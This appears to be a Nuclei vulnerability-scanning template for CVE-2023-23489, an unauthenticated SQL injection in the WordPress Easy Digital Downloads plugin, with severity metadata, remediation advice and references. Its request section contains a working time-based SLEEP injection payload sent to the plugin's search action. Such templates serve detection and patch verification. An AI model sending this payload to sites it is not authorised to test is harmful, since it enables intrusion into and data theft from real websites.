id: CVE-2023-23489

info:
  name: WordPress Easy Digital Downloads 3.1.0.2/3.1.0.3 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Easy Digital Downloads plugin 3.1.0.2 and 3.1.0.3 contains a SQL injection vulnerability in the s parameter of its edd_download_search action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to the latest version of Easy Digital Downloads plugin (3.1.0.4 or higher) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c5a6830c-6420-42fc-b20c-8e20224d6f18
    - https://wordpress.org/plugins/easy-digital-downloads/
    - https://www.tenable.com/security/research/tra-2023-2
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23489
    - https://github.com/JoshuaMart/JoshuaMart
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-23489
    cwe-id: CWE-89
    epss-score: 0.11172
    epss-percentile: 0.95506
    cpe: cpe:2.3:a:sandhillsdev:easy_digital_downloads:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sandhillsdev
    product: easy_digital_downloads
    framework: wordpress
  tags: time-based-sqli,cve,cve2023,easy-digital-downloads,unauth,wpscan,wordpress,wp,wp-plugin,sqli,tenable,sandhillsdev,vkev,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/easy-digital-downloads/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'status_code_1 == 200'
          - 'contains(body_1, "[]") && contains(body_2, "Easy Digital Downloads")'
        condition: and
# digest: 4a0a004730450220684114b6ba9c967fe49a6505adea3c425b47ed4c0e257f22d5c64c1013bf2e1c022100a88408f8f28d4dd1687688c5162d2da51005ef7adcde2d6e9291ba9b9c933dbb:922c64590222798bb761d5b6d8e72950